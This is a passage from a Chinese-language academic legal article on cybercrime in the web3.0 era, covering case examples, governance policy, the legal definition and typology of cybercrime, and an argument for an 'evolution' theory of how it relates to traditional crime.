          一方面,web3.0時代的網絡是虛擬的社會空間,也是犯罪空間。在萬物互聯的3.0時代,網絡社會空間作為獨立于物理社會空間的存在,也被犯罪人充分利用,言論犯罪、傳播淫穢物品犯罪等以網絡作為空間的犯罪盛行。此外,非法經營罪等以網絡為經營場所的罪名同樣高發。傳統犯罪場所從物理空間轉移到了網絡空間。比如,王某開設賭博網站案中,王某與他人合伙在網絡上開設某互聯網賭博網站,并雇用他人利用微信等移動通訊終端招攬眾多賭徒向該網站投注,進行彩票網絡投注賭博活動。[26]本案中王某行為的發生地點即為網絡空間而非物理世界的某個場館。再有最高人民法院第20批指導性案例105號洪某某、李某某等開設賭場案等。[27]這些案例所涉及的都是利用網絡空間而實施的犯罪行為。同時,在web3.0時代作為獨立空間的網絡空間中,各種資源應有盡有,網民既是網絡世界的受眾,又是網絡世界的主宰。網民對網絡的參與重在體驗在整個網絡世界生存、生長、生活的感覺。這也是為什么現在的很多軟件都是免費的:電腦一開機,軟件就會自動啟動,軟件擁有者依靠發布廣告、做代理獲得利潤。這也是web3.0時代流量經濟的產物。也因此,流量劫持、域名盜竊、深度鏈接等新型網絡空間違法犯罪行為層出不窮。比如張某等人詐騙案中[28],張某通過互聯網購買了一個網絡游戲裝備交易平臺程序,并對該程序進行修改,再通過互聯網向域名提供者和網站空間提供者分別購買域名使用權和網絡空間使用權,將修改后的網絡游戲裝備交易平臺程序上傳到他人購買的網上虛擬空間運行發布,誘騙玩家到其網絡游戲交易平臺中注冊充值購買游戲裝備,并通過第三方支付平臺、網上銀行轉賬等方式騙取錢財。由此可見,在web3.0時代,傳統犯罪已經進入網絡空間實施。傳統犯罪既可以在物理空間實施,又可以在網絡空間實施,現代社會正式步入雙層社會時代。

          另一方面,web3.0時代的網絡犯罪是以人工智能和大數據為特征的智能化網絡科技犯罪。Web3.0時代的特征就是人工智能、關聯數據和語義網的構建。[29]“智能時代是由大數據與人工智能等技術驅動發展的時代”[30],通過搜索引擎對大數據的優化搜索,形成人和網絡、人與人之間的溝通。人工智能則是通過人來訓練機器,使機器不斷實現人的智慧,實現機器自己學習、迭代、發展。關聯數據,是指數據網絡上以結構化形式存在的數據集合體。它們能夠為語義化網絡所管理。語義網,是一種智能網絡,它不但能夠理解詞語和概念,而且還能夠理解它們之間的邏輯關系,可以使交流變得更有效率和價值。語義網的構建是通過人工智能識別數據,實現人和人之間溝通的便利性。[31]通過人工智能、關聯數據和語義網,智能型平臺海量收集大數據,并通過開發人工智能應用平臺,使機器自動學習,幫助犯罪行為人精準實施犯罪,犯罪行為的實施已超脫人工階段。在web3.0時代“物聯網依托多種信息獲取技術,包括傳感器、射頻識別(Radio Frequency Identifica-tion,RFI)、二維碼、多媒體采集技術等,其關鍵技術環節可以歸納為感知、傳輸、處理,數據處理和融合貫穿于物聯網采集、控制、傳輸和上層應用的全過程”[32]。比如全國首例AI犯罪中,以黃某為首的團伙先非法獲取網站后臺用戶數據,再將數據賣給下線。然后以吳某為代表的制作撞庫軟件團伙,通過“快啊”平臺軟件驗證所盜來的賬號、密碼是否匹配。該團伙將成功匹配的賬號、密碼販賣給其他網絡詐騙團伙,對方再利用獲取的賬號實施各類網絡詐騙和非法推廣等違法活動。[33]本案中,“快啊”具有深度學習的功能,效率和準確率遠超過人工方式。基于“智能搜索、個人化空間和用戶興趣模型”的web3.0時代,具有“信息的聚合以及提供個性化的信息服務”功能,能夠通過人工智能學習和數據挖掘等新技術手段,提煉出用戶個性化的信息聚合,使人機交互、人人交互更具有人類特征和個性特征。[34]智能化的結果是,在web3.0時代的網絡日益向網民提供個性化、精準性應用服務的同時,網絡平臺的犯罪參與度也大為提高,網絡犯罪的追責重點似乎發生了轉移。

          總之,與web3.0時代相適應,此一階段的網絡犯罪主要發生在網絡空間領域,且是以人工智能和大數據為特征的智能化網絡科技犯罪,同時各種新型犯罪層出不窮。如何對它們進行準確定性并精準地實現web3.0時代的刑法規制,在理論上和實務中均面臨著巨大挑戰。

          (三)新時代網絡犯罪治理的刑事政策:剛柔并濟

          “十四五”時期,我國將大力實施網絡強國戰略。這是技術升級帶來的治理轉型的必然選擇。然而,我國互聯網發展已進入重要的戰略機遇期,面臨日益嚴峻的風險隱患與不斷疊加的多重矛盾。這具體表現在網絡安全受到全面挑戰、網絡經濟創新缺乏激勵、網絡信息權受到侵犯以及網絡言論亟待規范。若不合理化解上述隱患與矛盾,互聯網強國戰略的實現將嚴重受制約。

          (1)推進依法治網的模式轉型。法治作為社會治理創新的重要模式,理應積極回應如何把互聯網治理難題轉換為執法、司法問題。在互聯網發展的初期,依托各部門職能分工、全程嚴格監管的法律路徑取得了良好的成效。然而,互聯網的每一次技術革新,都會挑戰已確立的法律原則與規則。傳統依法治網路徑重條塊輕整合、重管制輕激勵、重打擊輕引導的“剛性”弊端日益凸顯,亟須創新構建“柔性”的依法治網模式。這就需要在互聯網法治治理中,加強互聯網法治治理的整合,凸顯法律的激勵和引導功能,將管制降到最低限度,將打擊作為最后手段,最終實現從“管理”到“治理”,再到“善治”的理念轉變。

          (2)構筑互聯網安全新生態。在互聯互通之后的智慧互聯網時代,傳統安全生態受到了很大的沖擊。過度強調管制的法治化治理路徑有可能扼殺互聯網創新,削弱互聯網的活力。科學的網絡安全法律保障機制并非把“剛性”的法律管制作為第一道防線,而是把互聯網安全上升到社會綜合治理層面,通過立法鼓勵、推動、引導互聯網安全意識教育與互聯網行業自律,使它們與互聯網法律規制有機結合起來,打破行政法、民事法、商事法和刑事法的界限,建構互聯網安全的法律泛生態圈。

          (3)助力互聯網經濟創新。互聯網經濟是網絡強國戰略得以實現的經濟基礎,為經濟創新的引擎,我們應該盡量避免以扼殺創新為代價的對互聯網經濟的剛性法律管制,而應該對其細心呵護,引入柔性的法律治理模式,從而在保證創新的基礎之上,有效防范互聯網經濟風險,做到趨利避害,為網絡強國戰略的實現打下堅實的經濟基礎。具體而言,包含三個方面的內容:一是有限的事前法律規制——確定互聯網經濟的業務邊界和準入條件,二是適度的事中法律規制——動態監管與及時的信息披露,三是強有力的事后法律規制——劃定風險底線、保護合法互聯網經濟模式、堅決打擊違法與違規行為。

          (4)保障公民網絡信息權。我國目前對網絡隱私權的保障仍然停留在傳統時代,即遵循告知、授權與匿名保護三大基本原則。然而,一方面,大數據時代對用戶海量網絡信息的再分析使傳統的告知與授權變得成本巨大,會極大限制網絡信息運用的創新;另一方面,多組數據集的交叉檢驗也使匿名化操作失去意義。在此背景下,大數據時代網絡信息侵權的法律治理需要實現由“隱私保障”向“財產保障”、由侵權補償向合理使用的柔性模式轉型。具體而言,借助數據財產化的理論,跳出隱私權的傳統窠臼,賦予公眾對相關網絡數據的信息權。在賦予公眾網絡信息財產權屬性的基礎上,改變侵權補償的模式,轉而強調相關機構對網絡信息的合理使用。

          (5)引導互聯網言論。目前,網絡空間言論秩序的法治化治理更多依靠對網絡造謠和侮辱誹謗等行為進行嚴厲打擊的“剛性模式”。此種模式的弊端主要體現在兩個方面:其一,它固然有利于在短時間內凈化網絡環境,但卻包含擴大打擊的風險。其二,對于造謠與侮辱誹謗之外的其他負面言論缺乏有效引導。在智慧互聯網的背景下,對于網絡空間的言論自由應該更多地借助柔性治理的模式,即通過法律給言論自由劃定明確的邊界,并鼓勵依靠網絡輿論、網絡倫理、網絡文明建設,發揮道德的教化、引導作用。

          最后需要說明的是,強調網絡的柔性法治治理并非完全擯棄法律的剛性規制。法律,尤其是刑事法的剛性規制是互聯網治理的最后一道防線。對于侵犯互聯網安全、影響互聯網經濟和污染互聯網文化的網絡黑客、網絡詐騙等違法犯罪行為,法律應該重拳出擊。唯有通過剛柔并濟的法治治理,方能最終實現建設網絡強國的重大戰略目標。

          二、網絡犯罪的概念:刑法學化重述

          2015年10月30日最高人民法院、最高人民檢察院(以下簡稱“兩高”)《關于執行〈中華人民共和國刑法〉確定罪名的補充規定(六)》將現行刑法第287條之二——《中華人民共和國刑法修正案(九)》[以下簡稱《刑法修正案(九)》]第29條——的罪名確定為“幫助信息網絡犯罪活動罪”。“網絡犯罪”在確定罪名的司法解釋中的正式使用,促進了該概念的刑法學化,為其哲學基礎建構與實定規范解釋提供了動力。

          網絡空間具有社會性。20世紀70年代,空間的社會本體論化與空間概念進入西方主流社會學研究的核心,空間成為一個社會學的概念。[35]在空間哲學中,“存在著一門空間的政治學,因為空間是政治性的”,建筑師是空間的生產者,然而,“空間不僅僅是被組織和建立起來的,它還是由群體,以及這個群體的要求、倫理和美學,也就是意識形態,來塑造成型并加以調整的”[36]。例如,女性地理學的觀點之一就是,“原野、樹林等好玩的地方,以及停車場和小巷等封閉場所,都變成了男人的空間,因為女性害怕在這些地方會遭到侵犯”[37]。原本具有自然屬性的原野、樹林、停車場、小巷等地理空間,在性別維度的透視下,顯現出其兩性權力的隱性本質。因此,空間并不僅僅意味著自然環境的地理空間。一方面,“電視、遠程通訊和國際互聯網的廣泛應用,開辟出一個超地理的全球性的技術空間。它具有前所未有的共時性、自如的跨空間性以及強大的連通、整合諸空間的能力”[38]。作為超地理空間,網絡空間與現實物理空間并行,成為繼陸地、海洋、天空、太空這四大自然地理空間之后的第五大戰略空間。另一方面,“空間在人類實踐中發生著由自然向社會、由物理向人文空間的讓渡與轉換”[39]。自然性質的上網動作所留下的登錄痕跡,隱藏在網絡空間的每個角落,都烙印著人們的社會經歷的社會意義。作為社會面的空間,網絡空間成為一種社會存在形態,而上網是一種社會生產、生活和交往形式。總之,網絡空間的社會性意味著,通過互聯網技術搭建的網絡空間具有超地理性與非自然性;網絡空間實質上是法律(概念)空間,儲存有網絡犯罪概念。

          其一,網絡空間因其社會化而成為法律空間。傳統的法律獨立性說認為,法律是“一個獨立的自成體系的領域”,空間和法律這兩個概念是“不受影響的,二者是分離的”。突破這種二元框架束縛的“法律地理學或地理法學,又或稱法律與空間研究,關注的是法律之于空間、空間之于法律,以及二者間的相互影響,其根本上也是對法律封閉性的批判”[40]。因此,法律地理學的一個側面,就是從法律的角度理解空間。就網絡空間而言,其社會性表現為法律性。“市民社會是處在家庭和國家之間的差別的階段……作為差別的階段,它必須以國家為前提,而為了鞏固地存在,它也必須有一個國家作為獨立的東西在它面前。”[41]“在現代國家中,法律是國家的獨家產品,而且,從邏輯上講,國家的意志就是法律。”[42]有國家,就有國家意志,從而就有法律。國家,作為一個具有清晰疆域的空間體,是一個法律空間。“根據某種預想結果來闡述的各種目的論哲學在科學思想史中曾經是極其重要的,它們在地理學中也并不陌生……李特爾把地球看成是神計劃的,因而人類活動的目標就是實現這個計劃。”[43]就法律地理學而言,此功能主義哲學需要闡明網絡用戶的上網行為在各個系統s(如電子商務、娛樂、言論發表等)中在某一時間t的一定特性i。具言之,特性i就是“某種預想結果”和對“行為型式或社會文化體制”的認識。當某種必要條件n得到滿足時,s才在網絡空間c中充分發揮功能。如果s中出現特性i,那么作為一種結果,條件n會得到滿足。因此,t時特性i必須出現于s中。作為法律空間的國家的最優狀態是法治,“法治即法律主治或法的統治(the rule of law),不僅僅包含依法而治的意思,而且包含有目的、有價值的觀念”[44]。如果將i設為法治,則具有秩序、權利、自由等內容的n得到滿足,網絡空間c中的s就得以繁榮。總之,“國家的目的就是社會的目的和個人的目的——由意志的基本邏輯所決定的最美好的生活。作為國家,它使用的手段總會帶有暴力的性質”[45]。社會性網絡空間自我向“善”的內生需要使其成為具有強力控制色彩的法律場所。

          其二,網絡空間因其社會性而存在網絡犯罪。網絡空間作為科技(人類實踐)的產物,天然是一種文化現象,應屬于當代空間概念的范疇,而非純粹中立的沒有任何政治、道德色彩的自然技術。之所以強調網絡空間的社會化空間身份,是因為,“人的行為是屬于社會范疇的現象”,而社會現象“產生于人群互動和交流關系”或者“存在于若干個體相互作用的地方”[46]。在互聯網與現實社會深度融合的今天,錯綜復雜的社會關系既幾乎同步平移,復制于網絡空間之中,又與網絡空間的工具性價值和獨立性價值發生“化學反應”,而生成或線上與線下相互交織或獨立存在于網絡空間的新型社會關系。“按照常理來推斷,既然網絡世界或虛擬世界是真實世界的反映,而虛擬世界的法律與秩序就是真實世界的法律與秩序的反映,那么真實世界的法律就應該適用于網絡世界……契約的概念就應該適用于網絡世界,財產的觀點也應該適用于網絡世界,侵權的概念也應該適用于網絡世界……要約、承諾、所有權等法律概念也就自然而然地成為虛擬存在的理論術語。”[47]犯罪的概念也概莫能外。網絡空間是虛擬的,而法益侵害是現實的。在網絡空間具有當代空間概念的社會性的前提下,“如同每一種不法行為一樣,犯罪也是反社會的行為,即使犯罪行為直接針對某個特定的個人,它也是對社會本身的侵犯”[48],所以犯罪作為一種社會現象,自然會以網絡犯罪的面孔出現在網絡社會空間之中,而創生于網絡空間內部的違法行為也會因被犯罪化而形成新的具體的網絡犯罪概念。

          其三,在網絡犯罪概念于社會性網絡空間的生成機理之外,需要說明的是,網絡犯罪(cybercrime),通常與計算機犯罪(computer crime)、計算機相關犯罪(computer-related crime)彼此相同,從而能夠互換使用。這一表面上看似無須細究的概念等價做法,其背后蘊藏著深刻的社會發展內涵:科技進步引發社會觀念和社會關系變革。1984年,Sun Microsystems公司的科學家約翰·蓋奇(John Gage)以其自創的“網絡就是計算機(The Network is the Computer)”這一新詞——后來成為Sun Microsystems公司的座右銘——來描述當時分布式計算機的新興世界。在處理器運行速度和互聯網連接速度二者都飛速提高的三十多年后的今天,很多消費者認為互聯網連接速度比處理器運行速度更加重要。[49]事實證明,John Gage是對的:當今的計算機已不是單個臺式的計算機,而是以網絡為中心的計算機。因此,網絡概念與計算機概念隨著計算機、網絡的發展而趨同。相應地,冠以二詞的犯罪概念也無二致。此外,2011年8月1日“兩高”《關于辦理危害計算機信息系統安全刑事案件應用法律若干問題的解釋》第11條規定,計算機信息系統和計算機系統包括計算機、網絡設備等。因而,不僅網絡犯罪與計算機犯罪、計算機相關犯罪的概念相同,現行《刑法》第285、286條中的“計算機信息系統”“計算機系統”,與《刑法修正案(九)》增設的第286條之一、第287條之一、第287條之二中的“信息網絡”的含義也相同;現行刑法第287條中的“利用計算機”與第287條之一、第287條之二中的“利用信息網絡”的意義也一致。

          概言之,網絡空間與線下現實空間都是社會空間形態,網絡犯罪存在的現實基礎是社會性的網絡空間。隨著計算機網絡的發展,網絡與計算機在技術上的相互依附與滲透使二者在功能性概念上越來越接近;從計算機、計算機系統、計算機信息系統到信息網絡的刑法用語的變化,正反映了技術發展的社會存在對社會意識的決定作用,結果是“計算機犯罪”向“網絡犯罪”轉移。由此,“計算機信息系統”、“計算機系統”與“信息網絡”、“利用計算機”與“利用網絡”、“網絡犯罪”與“計算機犯罪”、“計算機相關犯罪”,往往可等價視之。進言之,對網絡犯罪概念一般是從廣義上來理解的。

          三、網絡犯罪的類型:外延膨脹交錯

          雖然關于網絡犯罪概念的具體內涵和外延還沒有完全一致的表述,但其基本輪廓已經顯現。歐洲理事會《關于網絡犯罪的公約(2001)》(Conven-tion on Cybercrime,以下簡稱《公約》)制定了一個較為寬泛的認知網絡犯罪本質的框架,這系全球首創。[50]截至2015年9月,已有47個國家批準該公約,還有7個國家簽署了該公約但尚未在國內獲得批準。[51]據《公約》,網絡犯罪是指“針對計算機系統、網絡和計算機數據的機密性、完整性和可用性以及濫用這些系統、網絡和數據的行為”[52]。《公約》“呼吁將四類九種行為犯罪化。第一類是‘侵犯計算機數據和系統的機密性、完整性和可用性的違法行為’,包括非法侵入計算機系統、非法攔截計算機數據、非法干擾計算機數據、非法干擾計算機系統和濫用計算機設備。第二類是‘計算機相關違法行為’,包括計算機相關偽造行為和計算機相關欺詐行為。第三類是‘內容相關違法行為’,包括兒童色情相關違法行為,并輔之以2002年11月7日通過的新協議規定的通過計算機系統傳播種族主義或者仇外材料的行為。然而,這個新協議是一個獨立于《公約》的法律文本,《公約》締約國沒有義務采用它。第四類是‘侵犯版權及其相關權利的違法行為’,將版權侵犯行為犯罪化”[53]。美國于2006年9月29日批準了《公約》[54],其有關法律規定反映了《公約》的基本內容[55],但也有自己的一套話語。

          美國司法部認為,網絡犯罪的范圍應十分廣泛,包括“對涉及與犯罪、偵查、起訴有關的計算機技術知識的刑法的任何違反”。這一可膨脹的概念有必要涵蓋越來越多的各種各樣的一系列與計算機相關的違法行為。[56]在這一理念下,網絡犯罪大致是指利用計算機促進或者實施犯罪行為,不但包括通過計算機迅速實施的傳統犯罪,而且包括與其他非網絡犯罪不同的某些特定的技術犯罪。根據計算機在特定犯罪中所扮演的角色,網絡犯罪可分為三種類型。第一,計算機可能是犯罪對象(the object of a crime)。這些犯罪要么以計算機(或者服務器)本身為犯罪目標,要么以其上存儲的信息為犯罪目標。第二,計算機可能是犯罪主體(the subject of a crime)。計算機作為犯罪主體,意指計算機是犯罪的物理場所,或者獨特形式的資產損失的源頭或者原因,例如對病毒、蠕蟲、邏輯炸彈、特洛伊木馬等的使用。第三,計算機可能是犯罪工具(a criminal instrumentality),利用它以更加復雜的行為方式實施傳統的犯罪行為,如盜竊、詐騙、侵占、冒犯他人等。[57]

          美國的網絡犯罪三分法值得我國借鑒。

          首先,與歐洲的分類法相比,美國的三分法類型化效果更好。《公約》按照所侵犯的法益的種類對網絡犯罪進行分類,然而其第二、三、四類可以統一劃歸美國的“作為犯罪工具的計算機”這一類。而且,美國的劃分方法的特別之處在于,將病毒等攻擊作為單獨一類:既不同于作為犯罪工具的計算機,也不同于作為犯罪客體的計算機,攜帶病毒的計算機能夠成為犯罪主體并可在犯罪分子的操控下非法干擾、攔截、獲取或者攻擊其他計算機數據、系統或者網絡。隨著信息網絡的發展,單獨劃分出“作為犯罪主體的計算機”的意義將更加突出。

          其次,美國的三分法與我國網絡犯罪的刑法規制體系相融洽。其一,現行《刑法》第285條第1、2款規定的非法侵入計算機信息系統罪,非法獲取計算機信息系統數據、非法控制計算機信息系統罪,與第286條第1、2款所規定的破壞計算機信息系統罪,同屬于計算機作為犯罪對象的網絡犯罪。其二,現行《刑法》第286條第3款規定的破壞計算機信息系統罪、第286條之一規定的拒不履行信息網絡安全管理義務罪、第287條之一規定的非法利用信息網絡罪、第287條之二規定的幫助信息網絡犯罪活動罪,與第285條第3款規定的提供侵入、非法控制計算機信息系統程序、工具罪,同屬于計算機作為犯罪主體的網絡犯罪。其三,現行刑法第287條規定的利用計算機實施的有關犯罪,屬于計算機作為犯罪工具的網絡犯罪。

          再次,網絡犯罪的三類對應了三種需要刑法側重保護的計算機(信息網絡)法益。第一,以計算機作為犯罪對象的網絡犯罪侵犯的是計算機系統、信息網絡和計算機數據的機密性、完整性和可用性。第二,以計算機作為犯罪主體的網絡犯罪體現了計算機系統、信息網絡作為科學技術應當被人類正當使用,而不應被濫用。第三,刑法規制以計算機作為犯罪工具的網絡犯罪,是為了保護利用計算機實施的傳統犯罪行為所侵犯的那些法益。

          最后,日本關于常規電腦犯罪的理論類型是,“(1)濫用電腦而實施的犯罪;(2)加害于電腦的犯罪;(3)竊取電腦信息的犯罪”[58]。與歐洲和美國的分類模式相比,清楚的是,日本學者的分類項目(1)與(2)大概分別對應美國的以計算機作為犯罪工具的網絡犯罪和以計算機作為犯罪對象的網絡犯罪,而(3)大致對應歐洲的第一類網絡犯罪,即“侵犯計算機數據和系統的機密性、完整性和可用性的違法行為”。這至少說明,美國和日本的“作為犯罪對象的計算機”和“作為犯罪工具的計算機”這兩個分類框架較為固定,不同的是具體的分類內容。日本學者嚴格區分電腦與電腦信息,因而并不認為竊取電腦信息的犯罪屬于以“計算機作為犯罪對象”的網絡犯罪;而美國學者將“作為犯罪主體的計算機”從“作為犯罪工具的計算機”中分離出來,單獨作為一類。由于(1)信息網絡技術的發展使當下“計算機信息系統”、“計算機系統”與“信息網絡”等刑法用語可以通用,(2)信息網絡技術的發達使未來病毒等計算機形似犯罪主體本身的智能型高科技犯罪更為凸顯,所以美國的三分法具有前瞻性。

          總言之,網絡犯罪的概念在國際上一直被寬泛理解和廣義使用,而我國刑法也對網絡犯罪采取了三分法。需要注意的是,在三分法之下,各類型的網絡犯罪并不互斥,同一種網絡犯罪行為可能同時屬于這三種類型。比如,黑客利用計算機病毒將他人名下的銀行賬戶中的存款通過網上轉賬轉到自己名下的銀行賬戶中:其一,黑客將計算機作為犯罪工具實施了盜竊行為。這屬于第三種類型。其二,黑客利用病毒攻擊銀行計算機系統。這種行為屬于第二種類型。其三,被害人銀行賬戶中的網上記錄是計算機數據,對其進行刪除、更改的犯罪行為屬于第一種類型。即使按照《公約》中的法益種類分類法,將網絡犯罪分為侵犯計算機數據和系統的機密性、完整性和可用性的網絡犯罪以及以計算機為犯罪工具實施傳統犯罪行為的網絡犯罪,也會存在分類的交叉問題。例如在上述的黑客網上盜竊銀行案中,黑客的網絡盜竊行為既侵害了被害單位銀行的計算機數據的機密性和完整性,又侵犯了被害自然人的財產法益。這一方面是因為分類標準尚存缺陷,另一方面也反映了網絡犯罪現象的復雜性導致網絡犯罪類型之間相互交錯。

          四、網絡犯罪的性質:進化論之提倡

          “互聯網+”具有放大所加對象的好與壞的秉性。廣義與交織的網絡犯罪類型,正是不法行為在網絡這一新型的社會空間內被放大的結果:這些具有復雜類型的網絡犯罪有新有舊(something old,something new)。[59]“首先,信息社會中產生的新價值形式需要刑法的保護,特別是與數據和計算機系統的保密性、完整性和可用性相關的新利益。其次,原則上已享受了刑法保護的新的侵害傳統價值觀的形式,可能要求對刑法進行某些調整。”[60]具體而言,當網絡犯罪是特別涉及電子侵犯和非法使用或者攻擊計算機、網絡或者存儲系統的犯罪行為時,網絡犯罪是一種新型犯罪。“利益是刑罰保護動機”[61],法益具有“使刑事立法具有合理目的性”的刑事政策機能。[62]網絡社會亦是信息社會。“信息不僅關系到經濟,而且關系到預警和法益”,在“信息和通訊技術的形成和使用”與“法律及各法律教義學專業”之間起著一種交叉學科聯結作用的法律信息學的任務是,使對信息權和數據的“真實保護目的能切實兌現”[63]。眾所周知,1979年刑法沒有關于計算機犯罪的規定。自1997年刑法始,歷經2009年《刑法修正案(七)》、2015年《刑法修正案(九)》,針對計算機系統、信息網絡和數據保護的網絡犯罪的刑法規制體系逐漸完善。

          人類文明的進步促使新的法益的需要刑法保護,不可避免通過刑事立法將相關侵犯法益行為犯罪化。“然而,對于計算機來說,被用作促進傳統犯罪的工具,目前來看,更加常見。”[64]技術,尤其是信息技術和生物技術,是重塑我們身體符號的主要工具[65],而作為信息技術優秀成果的互聯網能夠帶來特有的“人格的解放和擴大感”[66],傳統犯罪在網絡空間中被放大。“網絡犯罪的特點之一是犯罪無國界。一方面,犯罪分子與被害人交流的媒介是信息網絡,犯罪分子可以借助網絡虛擬世界實施犯罪行為,不需要與被害人進行直接接觸,被害人可能與犯罪分子素未謀面。另一方面,網絡犯罪分子可以跨越地域,進行遠程控制。不同于傳統犯罪中需要將‘犯罪工具’隨身攜帶,網絡犯罪分子甚至可以將實施犯罪的網絡場所轉移至境外,采取信息倒流、跨國聯合等方式,如我國境內90%以上的詐騙網站、釣魚網站、賭博網站的服務器位于境外。”[67]如果說對那些在信息社會中產生的與信息和數據相關的新價值形式的刑法保護,是從無到有的刑事立法的擴張,因而完全不同于以往,那么,對已經享受了刑法保護的傳統價值形式的新的侵害——就以計算機作為犯罪工具的網絡犯罪而言,其是自成一類的犯罪(sui gene-ris),還是僅僅是“新瓶舊酒”(old wine in new bottles)?[68]換言之,網絡犯罪的“放大”現象是不是顛覆性的,從而具有根本上的質變?網絡犯罪與傳統犯罪是否存在本質上的不同這關系到如何“對刑法進行某些調整”以及調整的程度,關系到是否需要對傳統刑法理論進行徹底的重新思考并予以重構。

          異化說認為,網絡空間是一個全新領域,在其中需要重新思考法律的首要原則。美國有學者主張,物理空間(民族國家或者其他政治實體)與傳統法律空間的邊界具有普遍相關性、高度重合性,而網絡空間不以自然地域為基礎的邊界,是由分離有形世界與虛擬世界的屏幕和口令構成,這徹底顛覆了基于物理空間邊界的規則制定體系,因此,網絡空間并非天然地應受地域性規則的統治,它是一個具有(更具法律意義的)新邊界的“場所”,對其適用特別的法律,應當是自然而然的事。[69]這是較為絕對的異化說,我國則有相對緩和的異化說。我國有學者認為,信息時代的到來使傳統犯罪掙脫了物質載體的束縛,可以自由擴散和傳播,也使網絡犯罪的侵害方式開始多樣化、虛擬化,而傳統的刑法罪名顯然對此措手不及。由于網絡技術性和虛擬性的介入,傳統犯罪的行為方式、危害后果都產生了異化,其網絡異化后帶來危害結果評價的難題。面對傳統犯罪的網絡變異,一方面,知識經濟和信息時代對刑法規范的影響是不可逆的,對刑法規范進行一定的擴張解釋,可以彌補相當一部分刑法保護的缺陷和不足;另一方面,也需要實現宏觀刑事政策的轉化。[70]總之,絕對的與緩和的異化論都強調,互聯網創造了一個獨立的網絡空間,它生來不同于現實空間,現有的(至少有些)法律規則不適合數字時代,因此需要重塑傳統的刑法規范。

          異化說雖然充分關注了網絡空間的特性與其之于傳統犯罪的影響,但也存有缺陷。首先,絕對異化說的哲學前提并不周延。傳統法律的效力雖然能夠及于國家等物理空間的每個角落,在此意義上,物理空間與傳統法律空間是重合的,但傳統法律效力的范圍可能并不止步于此。例如,根據屬人主義原則,凡本國人,無論在國內或國外,均受本國法律約束。[71]換言之,既然傳統法律的效力可以突破自然疆域的限制,那么也就存在穿透由屏幕和口令所形成的界面而進入網絡空間的可能。其次,絕對異化說的治網方案并不現實。依該說,獨立的網絡空間需要獨立的網絡空間法來規治。雖然各國針對互聯網的法律法規漸多漸密,但未見立法者單獨創建所謂的與現有法律體系并行的網絡空間法體系。相反,更有甚者主張,計算機僅僅是一個工具而已,網絡空間的犯罪應該和現實空間的犯罪一樣,以同樣的方式受到規制。美國司法部即主張刑法應該是技術中立(technology neutral)的,不應被改變以適應網絡空間的特點。[72]再次,緩和異化說顯然發現了絕對異化說的極端性,進而將治網方案改良為刑事立法與刑法解釋并用。但這一方案中關于預備行為實行化[73]與共犯行為正犯化[74]的立法建議,可能并不高明:它會導致刑法總則可能發揮的作用進一步減弱,刑法分則中各罪的構成要件盤根錯節、相互交叉,罪數的確定更加復雜。當然,這是解釋論需要解決的問題。最后,緩和說的異化邏輯在馬克思主義哲學視閾中存有內在矛盾。馬克思使用“異化”這一概念來說明“勞動異化”現象,即動物與人都有生命活動,而有意識的生命活動把人同動物直接區別開來。人的有意識的生命活動意味著,生命活動(勞動)是意識(人)對象,這時,人的活動才是自由的活動;“異化勞動把這種關系顛倒過來,以致人正因為是有意識的存在物,才把自己的生命活動,自己的本質變成僅僅維持自己生存的手段”[75]。歷史唯物主義就是要去透視并揭穿一層層顛倒的、異化的、對象化的假象,達到那個真實存在的本質和規律。[76]根據緩和說,網絡犯罪是傳統犯罪的異化。反之,作為異化之物的網絡犯罪的本真就在于傳統犯罪。亦即,網絡犯罪的本質與規律也存在于傳統犯罪之中。由此,規制傳統犯罪的傳統法律(刑法)也就可能約束網絡犯罪,網絡空間完全在傳統法律(刑法)的效力射程之內,新的立法于是就失去了邏輯基礎。但是,這與異化說中重構新的網絡空間法(刑事立法)的觀點明顯不符。

          進化說可能是認識網絡犯罪與傳統犯罪之間關系的第二條路徑。該說主張,網絡犯罪是傳統犯罪在網絡空間新環境下的進化而非異化。其理由在于:第一,在網絡時代更加高級的犯罪手段使傳統犯罪在線上極易實現,且網絡空間的開放性與擴散性使其社會危害性在一般意義上相應地被放大。第二,與網絡科技的發展階段相適應,當網絡空間的科技特性不足以改變傳統犯罪的罪質與類型結構時,新的立法是不必要的,但層出不窮的附著專業的科技背景知識的新犯罪使案件事實的認定變得困難,而解決此類案件的刑法解釋學需要在網絡空間新常態下進行自我檢驗與自省發展。第三,現有的分析與批判還是建立在頗為傳統的刑法學理所奠定的思考模式的基礎上,仍然存在一定程度的歷史局限性。可以想見的是,倘若信息網絡的發展在未來根本性地改變人類社會與生活形態,那么,刑法思維就會相應發生革命性的改變。[77]因此,當網絡科技高度發達,以至于在網絡空間出現了新的犯罪類型或者新的值得刑法保護的法益時,新的立法就需要馬上跟進。

          進化說比異化說具有優勢。與異化說一樣,進化說當然也承認網絡犯罪具有不同于傳統犯罪的自身特性,關鍵是如何認識這些不同。進化說與異化說的相異之處在于:第一,進化說將傳統犯罪與網絡犯罪的不同視作傳統犯罪在網絡新環境下的進化,從而認為網絡犯罪處于相對獨立的地位。既然網絡犯罪是獨立存在,也與傳統犯罪緊密相連,那么對其基因在邏輯上不像異化說主張的只能在傳統犯罪中尋找。第二,由于網絡犯罪的相對獨立性,關于治網策略,進化說主張根據網絡科技的發展程度以及其對傳統犯罪的影響深度,決定在某一歷史時期與某一犯罪領域是采取解釋論的立場還是采取立法論的立場,而不是中庸地同時采取解釋論與立法論的立場。第三,進化說將網絡犯罪看作網絡空間建立與發展的必然且自然的產物,而異化說將其貶為傳統犯罪在網絡空間變異的“怪胎”。前者是一種對待網絡“新常態”的積極態度。而在治理網絡犯罪過程中,后者可能于刑法理論上更加體現為或在刑事政策上容易滑向一種重打擊的態度。“無論正當程序(due process)是否禁止另類地延伸舊的成文刑法,以覆蓋應由立法者制定但其卻沒有想到的新行為,自由保留原則也同樣要求,對古老的自由原則作寬泛解釋,以在正在到來的電子時代維持一個文明和體面的社會。”[78]可見,相比之下,進化說能夠為網絡空間法治化治理中懲罰犯罪與保障人權之平衡提供思想基礎和實踐指南。

          五、結語

